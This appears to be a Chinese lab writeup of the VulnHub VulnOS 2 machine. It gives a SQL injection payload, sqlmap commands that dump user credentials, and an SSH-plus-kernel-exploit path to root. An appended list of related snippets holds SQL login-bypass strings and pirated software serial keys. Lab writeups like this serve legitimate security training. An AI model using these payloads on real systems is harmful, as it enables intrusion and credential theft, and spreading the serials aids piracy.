Sword-豪
Sword-豪

Vulnhub靶机 VULNOS: 2 writeup

下载地址：https://www.vulnhub.com/entry/vulnos-2,147/

Vulnhub靶机 VULNOS: 2 writeup_第1张图片

信息搜集

获取IP地址

Vulnhub靶机 VULNOS: 2 writeup_第2张图片

扫描端口

Vulnhub靶机 VULNOS: 2 writeup_第3张图片

80端口

Vulnhub靶机 VULNOS: 2 writeup_第4张图片
点击website跳转到/jabc
Vulnhub靶机 VULNOS: 2 writeup_第5张图片
在 jabc/?q=node/7 页面看起来啥也没有，但是Ctrl+A全选之后看到提示还有一个目录 /jabcd0cs/
Vulnhub靶机 VULNOS: 2 writeup_第6张图片
Vulnhub靶机 VULNOS: 2 writeup_第7张图片
访问/jabcd0cs/
Vulnhub靶机 VULNOS: 2 writeup_第8张图片
在/jabcd0cs/发现CMS的版本，使用searchsploit查询
在这里插入图片描述
Vulnhub靶机 VULNOS: 2 writeup_第9张图片
这里看到了pyload

http://[host]/ajax_udf.php?q=1&add_value=odm_user%20UNION%20SELECT%201,version%28%29,3,4,5,6,7,8,9

可以利用
Vulnhub靶机 VULNOS: 2 writeup_第10张图片
使用sqlmap跑库

sqlmap -u "http://192.168.1.172/jabcd0cs/ajax_udf.php?q=1&add_value=odm_user" --batch --level=3 --dbs

Vulnhub靶机 VULNOS: 2 writeup_第11张图片
跑表名

sqlmap -u "http://192.168.1.172/jabcd0cs/ajax_udf.php?q=1&add_value=odm_user" --batch --level=3 -D jabcd0cs --tables

Vulnhub靶机 VULNOS: 2 writeup_第12张图片
在odm_user表里面发现了有用户名密码

sqlmap -u "http://192.168.1.172/jabcd0cs/ajax_udf.php?q=1&add_value=odm_user" --batch --level=3 -D jabcd0cs -T odm_user --dump

Vulnhub靶机 VULNOS: 2 writeup_第13张图片
将获取的哈希值解密
Vulnhub靶机 VULNOS: 2 writeup_第14张图片

getshell

使用获取的用户名密码尝试登录ssh，使用webmin用户登录成功
Vulnhub靶机 VULNOS: 2 writeup_第15张图片

提权

查看系统版本，内核版本
Vulnhub靶机 VULNOS: 2 writeup_第16张图片
使用searchsploit查询找到一个符合条件的exp
在这里插入图片描述
将exp上传到靶机，赋予可执行权限，编译并执行，成功获取root权限
Vulnhub靶机 VULNOS: 2 writeup_第17张图片
拿到root目录下的flag
Vulnhub靶机 VULNOS: 2 writeup_第18张图片
到这里成功完成了该靶机！
**本文所有用到的工具都可以关注微信公众号“网络安全学习爱好者”联系公众客服免费领取！ **
Vulnhub靶机 VULNOS: 2 writeup_第19张图片

你可能感兴趣的:(vulnhub靶机,安全,linux,web安全)

  • 从0到1：Maven下载安装与配置全攻略
    目录一、Maven是什么二、为什么需要Maven2.1依赖管理难题2.2构建过程的复杂性三、下载Maven3.1下载前准备3.2下载步骤四、安装Maven4.1解压安装包4.2移动Maven文件夹（可选，Linux适用）五、配置Maven5.1配置环境变量5.2验证安装5.3配置本地仓库5.4配置远程仓库（可选）六、总结一、Maven是什么Maven是一个跨平台的项目管理工具，主要服务于基于Jav
  • 提高互联网Web安全性：避免越权漏洞的技术方案 码农老起 安全加密算法web安全安全
    目录一、越权漏洞概述二、常见的越权漏洞类型三、越权漏洞的影响四、越权漏洞的技术解决方案一、越权漏洞概述越权（AuthorizationBypass）类漏洞是指在系统中，攻击者通过绕过身份验证或访问控制，获取本不应访问的资源或执行本不应执行的操作。简单来说，越权漏洞发生时，用户能够访问或操作超出其授权范围的数据或功能。在Web应用中，越权漏洞通常出现在访问控制机制不严密、权限检查不充分或不正确的情况
  • Glary Utilities(系统优化工具) v6.20.0.24 专业便携版 周大侠工作室 电脑软件
    GlaryUtilities允许你清理系统垃圾文件，无效的注册表，上网记录，删除插件，查找重复文件，优化内存，修理或删除快捷方式，管理windows启动程序，卸载软件，安全删除文件，右键菜单管理等等。激活方法有标注Portable名称的，无需注册码注册用户名：applek激活码（二选一）：序列号：S788-6167-958S-5GF9-KXJI序列号：M788-6167-958M-USVN-7VM
  • 安全事件响应分析--基础命令 大大的大大 ctflinuxweb安全
    ----万能密码'or'='or''1or#1'or'1'='11or1=1=============安全事件响应分析==========------***windoes***------方法开机启动有无异常文件【开始】➜【运行】➜【msconfig】文件排查各个盘下的temp(tmp)相关目录下查看有无异常文件：Windows产生的临时文件可以通过查看日志且通过筛选根据文件夹内文件列表时间进行排
  • CentOS7下Systemctl详解 JerryAi
    一、Systemd简介Systemd是由红帽公司的一名叫做LennartPoettering的员工开发，systemd是Linux系统中最新的初始化系统（init）,它主要的设计目的是克服SysV固有的缺点，提高系统的启动速度，systemd和upstart是竞争对手，ubantu上使用的是upstart的启动方式，centos7上使用systemd替换了SysV，Systemd目录是要取代Uni
  • 【Linux学习】Ubuntu对用户进行管理 Small___ming Linuxlinuxubuntu用户管理
    目录写在前面【Linux学习】Ubuntu对用户进行管理一、为什么需要用户管理？二、用户管理基础操作（一）用户管理1.用户管理命令表格2.关键操作场景说明场景一：创建用户并配置权限场景二：修改用户属性场景三：设置密码策略场景四：锁定并删除用户3.配置文件说明4.注意事项5.其他问题（1）新创建的用户目录在哪里？（2）多硬盘服务器如何指定用户目录？方法一：创建用户时直接指定路径方法二：挂载硬盘到`/
  • 马云怂了！区块链金融面前，这举动暴露了他的胆怯|老宋杂谈 区块链广场
    这是值得欣喜鼓舞的事情！马云一年至少问十次的问题终于解决了。在过去二十四小时，这个消息呈刷屏趋势——全球首个基于区块链的电子钱包跨境汇款服务上线。港版支付宝AlipayHK的用户可以通过区块链技术向菲律宾钱包Gcash汇款。“什么时候能够解决这个问题。”马云说，过去一年他至少问了蚂蚁金服董事长十次。在区块链技术的支持下，跨境汇款从此能做到像本地转账一样，实时到账、省钱、省事、安全、透明。这是他们在
  • Instagram千号矩阵：亚矩阵云手机破解设备指纹检测的终极方案 云云321 矩阵智能手机线性代数
    在Instagram的全球化运营中，构建千号矩阵已成为品牌扩大曝光、精准触达用户的核心策略。然而，平台对设备指纹的强监管——通过硬件参数聚类、传感器动态性检测、IP地理一致性校验等200余个维度构建风控模型，使得传统多账号运营面临高封号率、低存活率的双重挑战。亚矩阵云手机通过动态设备指纹重置、智能行为仿真与独立IP池管理三大技术模块，为Instagram千号矩阵提供了安全、高效、低成本的解决方案。
  • 与婴儿和狗一样，猫也容易产生分离焦虑2021-01-14 宋宵因
    不久前，美国俄勒冈州立大学的一个研究小组科学地证实了一件事——家养的宠物猫爱其主人，并与主人建立了感情联系。他们的研究表明，就像儿童和犬科动物一样，猫与人类之间形成了既安全又不安全的纽带。在大多数人看来，猫以冷漠和独立著称。但是一项关于家猫对其主人反应方式的研究表明，它们的社会认知能力和对人类依恋的程度被低估了。（一）大多数猫都与人类关系紧密和狗一样，猫在与人类的依恋上也表现出社交灵活性，大多数猫
  • Qualcomm Linux 蓝牙指南学习--概述 专业开发者 蓝牙linux学习运维
    前言QualcommTechnologies推出的Linux蓝牙指南详细介绍了基于QualcommRB3Gen2和IQ-9100Beta开发套件的蓝牙解决方案。该文档涵盖BlueZ和Fluoride协议栈的功能验证流程，支持蓝牙5.2核心规范，包括WCN6750/WCN6856/QCA6698AQ芯片组的特性。主要内容分为三部分：‌1.功能架构‌支持GAP、SPP、A2DP等10种蓝牙Profil
  • Qualcomm Linux 蓝牙指南学习--入门指南 专业开发者 蓝牙linux学习运维
    前言QualcommTechnologies推出的Linux蓝牙指南详细介绍了基于QualcommRB3Gen2和IQ-9100Beta开发套件的蓝牙解决方案。该文档涵盖BlueZ和Fluoride协议栈的功能验证流程，支持蓝牙5.2核心规范，包括WCN6750/WCN6856/QCA6698AQ芯片组的特性。主要内容分为三部分：‌1.功能架构‌支持GAP、SPP、A2DP等10种蓝牙Profil
  • 【RK3568 嵌入式linux QT开发笔记】 二维码开源库 libqrencode 交叉静态编译和使用
    本文参考文章：https://blog.csdn.net/qq_41630102/article/details/108306720参考文章有些地方描述的有疏漏，导致笔者学习过程中，编译的.a文件无法在RK3568平台运行，故写本文做了修正，以下仅是自我学习的笔记，没有写的很详细。一：下载软件包https://download.csdn.net/download/qq_41630102/12781
  • 为什么朋友越来越少？ 东心子
    越长大朋友越少。试图分析过原因，除了性格越来越趋于被动外，更多的是对血脉亲情之外的其他关系抱有天然的不自信态度。因为深知建立并维系好一段关系是需要耗费大量时间和精力的，而随着年岁的渐长人在诸多不确定面前也变得越发谨慎和小心了。不敢主动靠近，更怕无意义的投入，只想活在自己的舒服区和安全区，想把珍贵的时间和精力用在天然更易亲近的关系上。这好像是件可悲的事，因为人变得越来越现实了。但又好像是件必然的事，
  • 如何通过linux黑窗口实现对远程服务器的操作
    ①选择合适的云平台进行设备的租用并复制好远程设备的IP地址②使用管理员权限打开黑窗口③输入命令连接远程的设备：ssh用户名@服务器IP地址，此时得到的是一个什么都没有的设备④由于该设备什么都没有，故先：sudoaptupdate，然后安装gcc编译器：sudoaptinstallbulid-essential，再然后安装python：sudoaptinstallpython-3.8，再然后安装mi
  • Redis 安全加固：从密码保护到高级安全配置 Seal^_^ 数据库专栏#数据库--Redisredis安全数据库Redis安全加固
    Redis安全加固：从密码保护到高级安全配置一、Redis安全概述二、密码认证配置1.设置Redis密码临时设置（重启后失效）永久设置（修改配置文件）2.密码认证流程3.Python连接示例三、网络层安全加固1.绑定内网IP2.修改默认端口3.防火墙配置四、危险命令禁用1.禁用敏感命令2.命令禁用前后对比五、高级安全配置1.TLS加密传输2.客户端证书认证3.ACL细粒度权限控制（Redis6.0
  • 找到对一座城市的归属感 林月明呀
    归属感本是精神层面的东西，但有很多人把房子、车子、稳定的收入作为获得归属感的前提。固然这些是可以带给人在一座城市里生活的安全感，但这和对一座城市的归属感还是有所不同的。归属感是对一座的了解、契合和认同，包括不同维度，不同时刻，不同程度。比如很多人常见的是一座城市白天川流不息的人群车群，喧哗拥挤但又繁华的容貌，但较少人常见一座城市在晚上安静下来，不再有很多移动物穿行，灯火阑珊静美的样子。不同的职业所
  • 19c补丁-20250715发布的19.28补丁的校验码 bestsun999 Oracle_19coracle数据库linux
    Patch6880880:OPatch12.2.0.1.47forDB19.0.0.0.0(Jul2025)OPatch12.2.0.1.47forDB19.0.0.0.0(Jul2025)(Patch)p6880880_190000_Linux-x86-64.zip69.5MB(72847006bytes)SHA-10F709DB263D031393086EC55F6D5270A73DE509D
  • 初识linux 贩卖纯净水. Linuxlinux
    Linux从哪里来？（东土大唐）它是怎么发展的？（一个筋斗云翻身）历史沿革我是程序猿，你是运动员，我们都有缘。作为一个码农，有一些计算机界的“常识”是需要了解的。计算机是在什么时候诞生的呢？又是在一个怎样的背景下，计算机诞生了呢？计算机的发明其实早期的计算机是为了给军事提供支持才被发明出来的，被用于计算导弹弹道轨迹。在美苏冷战时期，军备竞赛转变为科技竞赛，计算机于对抗中产生，首先应用于军事。计算机
  • 【实操】信息安全工程师系列-第22关 网站安全需求分析与安全保护工程 披荆斩棘的GG 安全
    【实操】信息安全工程师系列-第22关网站安全需求分析与安全保护工程********永远不要信任用户输入。—安全编程格言一、网站安全基础概念与威胁分（一）核心定义**网站安全目标：**保障机密性（数据不泄露）、完整性（数据不被篡改）、可用性（服务不中断）和可控性（管理可控制）。**技术架构：**基于B/S架构，涉及网络通信、操作系统、数据库、Web服务器（如Apache、IIS）、Web应用及相关协
  • Docker架构深度解析：从核心概念到企业级实践
    Docker架构深度解析：从核心概念到企业级实践一、Docker架构全景图1.1整体架构示意图二、核心组件深度解析2.1DockerDaemon工作机制三、镜像与容器原理3.1镜像分层结构3.2容器生命周期四、网络架构详解4.1网络模式对比4.2Bridge网络实现原理五、存储架构与实践5.1存储驱动对比5.2数据卷使用模式六、企业级实践方案6.1高可用架构设计七、安全最佳实践7.1安全防护体系八
  • 2023-09-15 五角大楼探索生成式人工智能解决方案 泰格
    佳文砺道智库2023-09-1409:58发表于北京据“防务头条”网9月12日报道，美国研究机构“特殊竞争力研究项目”（SCSP）的一份报称告，如果美国想在制定生成式人工智能的开发和使用规范方面引领全球，就必须增加联邦研发支出，建立新的政府机构，或者改变现有的政府机构。生成式人工智能可以加速新药和网络安全解决方案的发现，从根本上实现更好的计算机网络，并提高公众的理解。但在对手手中，它可能会导致更多
  • 初识linux（一）：全面了解linux目录结构&基础操作指令详解 whelloworldw linux系统编程linux运维服务器
    今天小风将带着大家进行有关liunx部分章节的学习，由于是第一节初识linux部分的内容，所以内容理解起来并不会太过困难。在本篇博客中，小风将向大家具体讲解一下内容：初识Linux操作系统初识Xshell登录命令,简单了解一下操作系统基本概念使用常用Linux命令，了解linux系统目录结构和访问方式一、初识linux操作系统1.linux发展史1991年10月5日，赫尔辛基大学的一名研究生Lin
  • 单例模式的设计与实现 寒士obj Java单例模式java
    文章目录一、不安全的单例模式二、线程安全的单例模式1.同步方法2.静态内部类3.枚举：最安全的实现方式单例模式可能是我们在开发中用得最多的设计模式之一，但要在多线程环境下正确实现单例模式却不是那么简单。今天我们就来看看如何正确地实现线程安全的单例模式。一、不安全的单例模式在单线程环境下，实现单例模式很简单，但在多线程环境下就不安全了，可能会出现多个线程同时创建实例的情况，这就违背了单例模式的初衷。
  • 团队合作~3A Haven_5b28
    物流与生产没必要成为朋友，只需要达成可行的计划就行啦。均衡化生产的计划:1按产品系列划分的每月均衡化生产量非专用设备的利用率;2必要的劳动力;3成品和在制品(WIP)的目标库存目标的班次数量。精益供应链，直送方式订购相同的数量，才用相同频率，并在计划发生变更前及时通知，不留空挡。(一周确认的订单，剩下几周为预测表)，减少wip停滞要求:1.坏消息第一，要优先报告2.顺序沟通，计划好安全库存3.人员
  • 2022-01-13 Eltonpeople
    今日启发：Elton:“困境的谷底成为我重建生活的坚实基础。你可能永远不会有我这种失败的经历，但有些失败，在生活中是不可避免的。毫无挫折的生活是不存在的，除非你生活的万般小心，可有些失败还是会发生。失败让我内心安全，是我从通过考试中没有得到过的。失败教会我一些不能用其他方法获得的东西，我发现自己有坚强的意志，比想象中还多的原则，我也发现我拥有朋友——他们的价值远在红宝石之上。从挫折中得到知识将使你
  • 钉钉 Ubuntu x64 版本安装与应用
    本文还有配套的精品资源，点击获取简介：钉钉是阿里巴巴集团推出的企业通讯和协作平台，集成了即时通讯、日程管理等功能。本Ubuntux64版为64位Linux系统用户提供了专属的安装包。通过简单的命令行安装步骤，用户可以享受到支持窗口缩放的便捷应用体验。该软件包已经经过测试，确保兼容Ubuntu系统，并随附readme.txt文件以指导用户安装。1.钉钉应用简介钉钉是阿里巴巴集团推出的企业通讯与协同办
  • CVE-2005-4900：TLS SHA-1 安全漏洞修复详解 Nova_CaoFc 运维日常技术博文分享安全linux服务器运维
    前言在信息安全日益重要的当下，任何微小的加密弱点都可能被攻击者利用，从而导致数据泄露、流量劫持或更严重的业务中断。本文将结合实际环境中常见的Nginx配置示例，深入剖析CVE-2005-4900（TLS中使用SHA-1哈希算法）的危害，并提供完整、可操作的修复流程。一、什么是CVE-2005-4900漏洞CVE-2005-4900定位于TLS协议中使用SHA-1作为消息认证和签名哈希算法的安全漏洞
  • 【自学linux】计算机体系结构和操作系统第二章 java攻城狮k 跟着QS50自学编程linux系统架构unix服务器
    操作系统第一讲-介绍操作系统本门课程使用unix和linux作为案例讲解操作系统是如何工作的。首先学习给虚拟机安装和管理一个典型的linux系统，虚拟机运行在windows下。我们讨论操作系统是什么、它们在计算机环境中的使用和用一点篇幅回顾一下Unix系统的历史。一、介绍1、什么是操作系统(operatingsystemorO/S)?一种典型的大型软件，允许计算机硬件用户：1）运行各式各样的软件(
  • Win10电脑连接手机热点全攻略：从基础操作到进阶技巧 nntxthml 电脑智能手机windows
    Win10电脑连接手机热点全攻略：从基础操作到进阶技巧在移动办公场景日益普及的今天，掌握电脑连接手机热点的方法已成为职场人的必备技能。本文通过图文结合的方式，系统讲解Win10系统连接手机热点的完整流程，并提供网络优化、安全设置等进阶技巧，帮助读者高效解决紧急用网需求。一、基础操作篇：三步完成热点连接（1）手机端设置：开启移动WiFi基站不同品牌手机设置路径略有差异，但核心步骤一致：安卓系统：设置
  • Day04_C语言网络编程20250716_sql语言大全 liujing10232929 C语言网络编程c语言网络sql
    linux中sql语法大全：MYSQL数据库什么是数据库：关系型数据管理系统数据库的结构层次：数据库文件(后缀名.db)->表单->字段->存储的数据数据库里面针对数据的所有操作，都需要使用指令去实现MYSQL数据库特点：特别适合web的环境，和PHP结合非常好低版本的MYSQL依旧是开源软件，适合用来做二次开发先安装一下mysql安装前，检测是否安装了mysql:rpm–qa|grepmysql
  • 戴尔笔记本win8系统改装win7系统 sophia天雪 win7戴尔改装系统win8
    戴尔win8 系统改装win7 系统详述 第一步：使用U盘制作虚拟光驱：         1）下载安装UltraISO：注册码可以在网上搜索。         2）启动UltraISO，点击“文件”—》“打开”按钮，打开已经准备好的ISO镜像文
  • BeanUtils.copyProperties使用笔记 bylijinnan java
    BeanUtils.copyProperties VS PropertyUtils.copyProperties 两者最大的区别是： BeanUtils.copyProperties会进行类型转换，而PropertyUtils.copyProperties不会。 既然进行了类型转换，那BeanUtils.copyProperties的速度比不上PropertyUtils.copyProp
  • MyEclipse中文乱码问题 0624chenhong MyEclipse
    一、设置新建常见文件的默认编码格式，也就是文件保存的格式。 在不对MyEclipse进行设置的时候，默认保存文件的编码，一般跟简体中文操作系统（如windows2000，windowsXP）的编码一致，即GBK。 在简体中文系统下，ANSI 编码代表 GBK编码;在日文操作系统下，ANSI 编码代表 JIS 编码。 Window-->Preferences-->General -
  • 发送邮件 不懂事的小屁孩 send email
    import org.apache.commons.mail.EmailAttachment; import org.apache.commons.mail.EmailException; import org.apache.commons.mail.HtmlEmail; import org.apache.commons.mail.MultiPartEmail;
  • 动画合集 换个号韩国红果果 htmlcss
    动画 指一种样式变为另一种样式 keyframes应当始终定义0 100 过程 1 transition  制作鼠标滑过图片时的放大效果 css .wrap{ width: 340px;height: 340px; position: absolute; top: 30%; left: 20%; overflow: hidden; bor
  • 网络最常见的攻击方式竟然是SQL注入 蓝儿唯美 sql注入
    NTT研究表明，尽管SQL注入（SQLi）型攻击记录详尽且为人熟知，但目前网络应用程序仍然是SQLi攻击的重灾区。 信息安全和风险管理公司NTTCom Security发布的《2015全球智能威胁风险报告》表明，目前黑客攻击网络应用程序方式中最流行的，要数SQLi攻击。报告对去年发生的60亿攻击 行为进行分析，指出SQLi攻击是最常见的网络应用程序攻击方式。全球网络应用程序攻击中，SQLi攻击占
  • java笔记2 a-john java
    类的封装： 1，java中，对象就是一个封装体。封装是把对象的属性和服务结合成一个独立的的单位。并尽可能隐藏对象的内部细节（尤其是私有数据） 2，目的：使对象以外的部分不能随意存取对象的内部数据（如属性），从而使软件错误能够局部化，减少差错和排错的难度。 3，简单来说，“隐藏属性、方法或实现细节的过程”称为——封装。 4，封装的特性：       4.1设置
  • [Andengine]Error：can't creat bitmap form path “gfx/xxx.xxx” aijuans 学习Android遇到的错误
            最开始遇到这个错误是很早以前了，以前也没注意，只当是一个不理解的bug，因为所有的texture，textureregion都没有问题，但是就是提示错误。 昨天和美工要图片，本来是要背景透明的png格式，可是她却给了我一个jpg的。说明了之后她说没法改，因为没有png这个保存选项。 我就看了一下，和她要了psd的文件，还好我有一点
  • 自己写的一个繁体到简体的转换程序 asialee java转换繁体filter简体
              今天调研一个任务，基于java的filter实现繁体到简体的转换，于是写了一个demo，给各位博友奉上，欢迎批评指正。          实现的思路是重载request的调取参数的几个方法，然后做下转换。          
  • android意图和意图监听器技术 百合不是茶 android显示意图隐式意图意图监听器
    Intent是在activity之间传递数据;Intent的传递分为显示传递和隐式传递   显式意图：调用Intent.setComponent() 或 Intent.setClassName() 或 Intent.setClass()方法明确指定了组件名的Intent为显式意图，显式意图明确指定了Intent应该传递给哪个组件。   隐式意图;不指明调用的名称,根据设
  • spring3中新增的@value注解 bijian1013 javaspring@Value
            在spring 3.0中，可以通过使用@value，对一些如xxx.properties文件中的文件，进行键值对的注入，例子如下： 1.首先在applicationContext.xml中加入：  <beans xmlns="http://www.springframework.
  • Jboss启用CXF日志 sunjing logjbossCXF
    1. 在standalone.xml配置文件中添加system-properties：     <system-properties>        <property name="org.apache.cxf.logging.enabled" value=&
  • 【Hadoop三】Centos7_x86_64部署Hadoop集群之编译Hadoop源代码 bit1129 centos
      编译必需的软件 Firebugs3.0.0 Maven3.2.3 Ant JDK1.7.0_67 protobuf-2.5.0 Hadoop 2.5.2源码包       Firebugs3.0.0   http://sourceforge.jp/projects/sfnet_findbug
  • struts2验证框架的使用和扩展 白糖_ 框架xmlbeanstruts正则表达式
    struts2能够对前台提交的表单数据进行输入有效性校验，通常有两种方式： 1、在Action类中通过validatexx方法验证，这种方式很简单，在此不再赘述； 2、通过编写xx-validation.xml文件执行表单验证，当用户提交表单请求后，struts会优先执行xml文件，如果校验不通过是不会让请求访问指定action的。 本文介绍一下struts2通过xml文件进行校验的方法并说
  • 记录-感悟 braveCS 感悟
    再翻翻以前写的感悟，有时会发现自己很幼稚，也会让自己找回初心。   2015-1-11 1. 能在工作之余学习感兴趣的东西已经很幸福了； 2. 要改变自己，不能这样一直在原来区域，要突破安全区舒适区，才能提高自己，往好的方面发展； 3. 多反省多思考；要会用工具，而不是变成工具的奴隶； 4. 一天内集中一个定长时间段看最新资讯和偏流式博
  • 编程之美-数组中最长递增子序列 bylijinnan 编程之美
    import java.util.Arrays; import java.util.Random; public class LongestAccendingSubSequence { /** * 编程之美 数组中最长递增子序列 * 书上的解法容易理解 * 另一方法书上没有提到的是，可以将数组排序（由小到大）得到新的数组， * 然后求排序后的数组与原数
  • 读书笔记5 chengxuyuancsdn 重复提交struts2的token验证
    1、重复提交 2、struts2的token验证 3、用response返回xml时的注意 1、重复提交 (1)应用场景 (1-1)点击提交按钮两次。 (1-2)使用浏览器后退按钮重复之前的操作，导致重复提交表单。 (1-3)刷新页面 (1-4)使用浏览器历史记录重复提交表单。 (1-5)浏览器重复的 HTTP 请求。 (2)解决方法 (2-1)禁掉提交按钮 (2-2)
  • [时空与探索]全球联合进行第二次费城实验的可能性 comsci
         二次世界大战前后,由爱因斯坦参加的一次在海军舰艇上进行的物理学实验 -费城实验   至今给我们大家留下很多迷团.....      关于费城实验的详细过程,大家可以在网络上搜索一下,我这里就不详细描述了      在这里,我的意思是,现在
  • easy connect 之 ORA-12154: TNS: 无法解析指定的连接标识符 daizj oracleORA-12154
    用easy connect连接出现“tns无法解析指定的连接标示符”的错误，如下： C:\Users\Administrator>sqlplus username/[email protected]:1521/orcl SQL*Plus: Release 10.2.0.1.0 – Production on 星期一 5月 21 18:16:20 2012 Copyright (c) 198
  • 简单排序:归并排序 dieslrae 归并排序
    public void mergeSort(int[] array){ int temp = array.length/2; if(temp == 0){ return; } int[] a = new int[temp]; int
  • C语言中字符串的\0和空格 dcj3sjt126com c
       \0 为字符串结束符，比如说：                       abcd (空格)cdefg； 存入数组时，空格作为一个字符占有一个字节的空间，我们
  • 解决Composer国内速度慢的办法 dcj3sjt126com Composer
    用法： 有两种方式启用本镜像服务： 1 将以下配置信息添加到 Composer 的配置文件 config.json 中（系统全局配置）。见“例1” 2 将以下配置信息添加到你的项目的 composer.json 文件中（针对单个项目配置）。见“例2” 为了避免安装包的时候都要执行两次查询，切记要添加禁用 packagist 的设置，如下 1 2 3 4 5
  • 高效可伸缩的结果缓存 shuizhaosi888 高效可伸缩的结果缓存
    /** * 要执行的算法，返回结果v */ public interface Computable<A, V> { public V comput(final A arg); }   /** * 用于缓存数据 */ public class Memoizer<A, V> implements Computable<A,
  • 三点定位的算法 haoningabc c算法
    三点定位， 已知a,b,c三个顶点的x,y坐标 和三个点都z坐标的距离，la，lb,lc 求z点的坐标 原理就是围绕a,b,c 三个点画圆，三个圆焦点的部分就是所求 但是，由于三个点的距离可能不准，不一定会有结果， 所以是三个圆环的焦点，环的宽度开始为0，没有取到则加1 运行 gcc -lm test.c test.c代码如下 #include "stdi
  • epoll使用详解 jimmee clinux服务端编程epoll
    epoll - I/O event notification facility在linux的网络编程中，很长的时间都在使用select来做事件触发。在linux新的内核中，有了一种替换它的机制，就是epoll。相比于select，epoll最大的好处在于它不会随着监听fd数目的增长而降低效率。因为在内核中的select实现中，它是采用轮询来处理的，轮询的fd数目越多，自然耗时越多。并且，在linu
  • Hibernate对Enum的映射的基本使用方法 linzx0212 enumHibernate
      枚举   /** * 性别枚举 */ public enum Gender { MALE(0), FEMALE(1), OTHER(2); private Gender(int i) { this.i = i; } private int i; public int getI
  • 第10章 高级事件（下） onestopweb 事件
    index.html <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/
  • 孙子兵法 roadrunners 孙子兵法
    始计第一 孙子曰： 兵者，国之大事，死生之地，存亡之道，不可不察也。 故经之以五事，校之以计，而索其情：一曰道，二曰天，三曰地，四曰将，五 曰法。道者，令民于上同意，可与之死，可与之生，而不危也；天者，阴阳、寒暑 、时制也；地者，远近、险易、广狭、死生也；将者，智、信、仁、勇、严也；法 者，曲制、官道、主用也。凡此五者，将莫不闻，知之者胜，不知之者不胜。故校 之以计，而索其情，曰
  • MySQL双向复制 tomcat_oracle mysql
    本文包括: 主机配置 从机配置 建立主-从复制 建立双向复制   背景 按照以下简单的步骤: 参考一下： 在机器A配置主机(192.168.1.30) 在机器B配置从机(192.168.1.29) 我们可以使用下面的步骤来实现这一点   步骤1：机器A设置主机 在主机中打开配置文件 ,
  • zoj 3822 Domination(dp) 阿尔萨斯 Mina
    题目链接：zoj 3822 Domination 题目大意：给定一个N∗M的棋盘，每次任选一个位置放置一枚棋子，直到每行每列上都至少有一枚棋子，问放置棋子个数的期望。 解题思路：大白书上概率那一张有一道类似的题目，但是因为时间比较久了，还是稍微想了一下。dp[i][j][k]表示i行j列上均有至少一枚棋子，并且消耗k步的概率（k≤i∗j）,因为放置在i+1~n上等价与放在i+1行上，同理
按字母分类： ABCDEFGHIJKLMNOPQRSTUVWXYZ其他